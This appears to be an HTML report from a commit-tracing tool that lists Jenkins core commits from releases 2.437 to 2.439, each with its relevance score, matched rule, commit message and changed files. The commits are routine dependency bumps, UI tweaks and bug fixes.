      Bump com.puppycrawl.tools:checkstyle from 10.12.6 to 10.12.7 (#8819) Bumps [com.puppycrawl.tools:checkstyle](https://github.com/checkstyle/checkstyle) from 10.12.6 to 10.12.7. - [Release notes](https://github.com/checkstyle/checkstyle/releases) - [Commits](https://github.com/checkstyle/checkstyle/compare/checkstyle-10.12.6...checkstyle-10.12.7) --- updated-dependencies: - dependency-name: com.puppycrawl.tools:checkstyle dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72466] Upgrade jbcrypt dependency (#8811) JENKINS-72466:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3597db8e13f8fd5ef5309b31ef55eb8121663a6b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8811
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72466] Upgrade jbcrypt dependency (#8811) JENKINS-72466: Upgrades jbcrypt dependency
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - - core/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-71666] Adapt to Popper deprecation in Jenkins core (#8810)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c878487461f1e535e39766893636f2bbf88becc0 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8810
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-71666] Adapt to Popper deprecation in Jenkins core (#8810) Removed deprecated popper2-api from war/pom.xml
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump slf4jVersion from 2.0.9 to 2.0.10 (#8809) Bumps `slf4jVersion`... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2ac59590a6a5021228936a239154300b425a6d8d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8809
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump slf4jVersion from 2.0.9 to 2.0.10 (#8809) Bumps `slf4jVersion` from 2.0.9 to 2.0.10. Updates `org.slf4j:jcl-over-slf4j` from 2.0.9 to 2.0.10 Updates `org.slf4j:log4j-over-slf4j` from 2.0.9 to 2.0.10 Updates `org.slf4j:slf4j-api` from 2.0.9 to 2.0.10 Updates `org.slf4j:slf4j-jdk14` from 2.0.9 to 2.0.10 --- updated-dependencies: - dependency-name: org.slf4j:jcl-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:log4j-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-api dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-jdk14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass to v1.69.6 (#8816) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a82e94b05b56193066d85a17065440084fd62552 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8816
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass to v1.69.6 (#8816) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Run GH actions release artifact uploader with JDK 17 (#8813) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f4095698966cd901681241e994e872846429211d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8813
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Run GH actions release artifact uploader with JDK 17 (#8813)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/publish-release-artifact.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss-loader to v7.3.4 (#8812) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2e267453eb7530848df3a4b75774136446e280b5 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8812
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss-loader to v7.3.4 (#8812) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency stylelint to v16.1.0 (#8804) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 69e20dbbaf70c92c8daabf0327144483a936a667 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8804
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency stylelint to v16.1.0 (#8804) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass-loader to v13.3.3 (#8808) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ee7ec9f430f778a9a0447e55c2119f6a961d8170 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8808
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass-loader to v13.3.3 (#8808) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump io.jenkins.plugins:plugin-util-api from 3.6.0 to 3.8.0 (#8801)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5ab5ad07e9847ec89bc708fff64cb6391144268f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8801
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump io.jenkins.plugins:plugin-util-api from 3.6.0 to 3.8.0 (#8801) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-71965] fix timezone in build history (#8800) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 48da635be22e4e01d71d62a957f3b4c0803a64de -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8800
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-71965] fix timezone in build history (#8800) * [JENKINS-71965] fix timezone in build history the timezone shown was always the daylight saving time when the users selected timezone has daylight saving. The change will now consider the actual timestamp of the build to determine if it was in daylight saving time to properly calculate the timezone to show. * make locale aware
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/Functions.java - - core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Restore JCasC compatibility for `JNLPLauncher.tunnel` (#8793) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - df03159afe15788eb74bced96ce7b44dfc70788c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8793
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Restore JCasC compatibility for `JNLPLauncher.tunnel` (#8793) * Restore JCasC compatibility for `JNLPLauncher.tunnel` * Also removing `@Deprecated` on fields & getters
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/slaves/JNLPLauncher.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove last usages of .bigtable (#8797) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 400d5e4ce4440e159436828d7fe45dd51269592a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8797
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove last usages of .bigtable (#8797)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/triggers/SCMTrigger/DescriptorImpl/index.jelly - - core/src/main/resources/jenkins/diagnosis/HsErrPidList/index.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency eslint to v8.56.0 (#8789) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 43ecf083657d0a8fc85a14f85fc70a4555eb9277 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8789
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency eslint to v8.56.0 (#8789) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump com.google.guava:guava from 32.1.3-jre to 33.0.0-jre (#8792)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8115f23fffac6ac4beda0b58572421b6485c7725 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8792
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump com.google.guava:guava from 32.1.3-jre to 33.0.0-jre (#8792) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:matrix-project from 818.v7eb_e657db_924... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7018b14cc3f23c9415f1397ea6da22a7be280255 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8796
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:matrix-project from 818.v7eb_e657db_924 to 822.v01b_8c85d16d2 (#8796) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update the appearance of the stop button (#8780) * Init * Fixes *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 01c42a3dca39592e20f728ea8f19c67484004d07 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8780
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update the appearance of the stop button (#8780) * Init * Fixes * Update executors.jelly * Update _buttons.scss * Fix i18n * Tidy up * Fix test * Temporary fast build CI build is too unreliable and I just want an incrementals... * Revert "Temporary fast build" This reverts commit 28df8398f3e1a0a82adae7db692b8946a2e281b7. --------- Co-authored-by: Tim Jacomb <timjacomb1@gmail.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/widgets/HistoryWidget/entry.jelly - - core/src/main/resources/lib/hudson/buildCaption.jelly - - core/src/main/resources/lib/hudson/buildCaption.properties - - core/src/main/resources/lib/hudson/executors.properties - - core/src/main/resources/lib/layout/stopButton.jelly - - war/src/main/scss/components/_buttons.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Use Jenkins modal for 'Apply' button failures (#8394) * Init *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.438 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3a1ac2cb44fd806ab92a01f6674fbe46e24d4a0c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8394
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Use Jenkins modal for 'Apply' button failures (#8394) * Init * Linting * Test fixes * Switch to dialog for simple error case --------- Co-authored-by: Tim Jacomb <timjacomb1@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/jenkins/model/Jenkins/oops.properties - - core/src/main/resources/lib/form/apply/apply.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Restyle widget panes (#8761) * Init * Update _style.scss * Remove... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - cf81b9cf935896615ff244f6d349a244f875dbff -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8761
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Restyle widget panes (#8761) * Init * Update _style.scss * Remove more bold weights * Lower weight * Tweak widths * Fix spacing --------- Co-authored-by: Alexander Brandes <mc.cache@web.de> Co-authored-by: Tim Jacomb <timjacomb1@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/src/main/scss/abstracts/_theme.scss - - war/src/main/scss/base/_style.scss - - war/src/main/scss/components/_panes-and-bigtable.scss - - war/src/main/scss/components/_side-panel-widgets.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update jenkins/ath Docker tag to v5770 (#8786) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7a2e389f0d8d1e0f2b894f5fdfba1568bc153305 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8786
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update jenkins/ath Docker tag to v5770 (#8786) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ath.sh - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - EOL `Global-Mask-Classes` (#8785) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3f1880179c7476e23a9d6dd9c8ad8f8ef336cae6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8785
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      EOL `Global-Mask-Classes` (#8785)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/ClassicPluginStrategy.java - - core/src/main/java/hudson/util/MaskingClassLoader.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update babel monorepo to v7.23.6 (#8782) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c4b9e81b609bf88f7fe051215ffed15d0a6a7e27 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8782
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update babel monorepo to v7.23.6 (#8782) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump actions/upload-artifact from 3 to 4 (#8784) Bumps... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2cdf80166ed41223fcf3b9a8b29fde9d31cd983f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8784
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump actions/upload-artifact from 3 to 4 (#8784) Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 3 to 4. - [Release notes](https://github.com/actions/upload-artifact/releases) - [Commits](https://github.com/actions/upload-artifact/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/upload-artifact dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/changelog.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:junit from 1240.vf9529b_881428 to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8be599a9730726b933969115d72d4c6f0d42cc8b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8781
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:junit from 1240.vf9529b_881428 to 1252.vfc2e5efa_294f (#8781) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency stylelint to v16.0.2 (#8783) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9defb96b1650782fc29517415c10d7275a2daa1d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8783
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency stylelint to v16.0.2 (#8783)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72449] Specify that no fallback to the default locale... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 259ccc06fb01cbe5d2eb3a4bd232a49fefd835a5 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8776
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72449] Specify that no fallback to the default locale should be used when looking up a resource bundle via `I18n` action. (#8776) [JENKINS-72449] Specify that no fallback to the default locale should be used when looking up a resource bundle When running the JVM with a default locale that is not english, the resource bundle lookup for english would return a bundle with that default locale, instead of using the "default" that is english. Also changed bundle resolution to use uberClassloader rather than iterating on all plugin classloaders
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/util/ResourceBundleUtil.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Logging improvements to `Run` related classes (#8777) Logging... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 302e6ac2d1b64ea9035b00ab9fe79685dbf0aa68 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8777
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Logging improvements to `Run` related classes (#8777) Logging improvements to Run related classes
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Run.java - - core/src/main/java/hudson/model/RunMap.java - - core/src/main/java/jenkins/model/lazy/AbstractLazyLoadRunMap.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72288] fix nested job link in mobile view (#8765)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - cc4e8e72e0a4e33c03d94b8fa4bfdd485a377ac2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8765
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72288] fix nested job link in mobile view (#8765) [JENKINS-72288] fix inested job link in mobile view when a view contains jobs that are from a nested folder, the links where not properly calculated.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/lib/hudson/projectView.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72443] Do not show copy option without visible items... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7df7ae4a85d2f6409aebdeee2bc1cd0719bd76fb -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8763
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72443] Do not show copy option without visible items (#8763) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/model/View/newJob.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - show node monitors on agent page (#8725) * show node monitors on... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 64dc3844b573c5efd5613b0f4498a18fceeb7443 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8725
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      show node monitors on agent page (#8725) * show node monitors on agent page add an advanced button on the agent page. When clicking it will show the node monitors for this agent including any warnings/errors * fix style
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Computer.java - - core/src/main/resources/hudson/model/Computer/index.jelly - - war/src/main/scss/components/_table.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency prettier to v3.1.1 (#8775) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5562c4a0f9e724601fd8a42983c489a95d6b50e9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8775
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency prettier to v3.1.1 (#8775) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Simplifying `JNLPLauncher` (#8762) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6a2d94bfbe9fca4d020f513025100b66872a1877 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8762
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
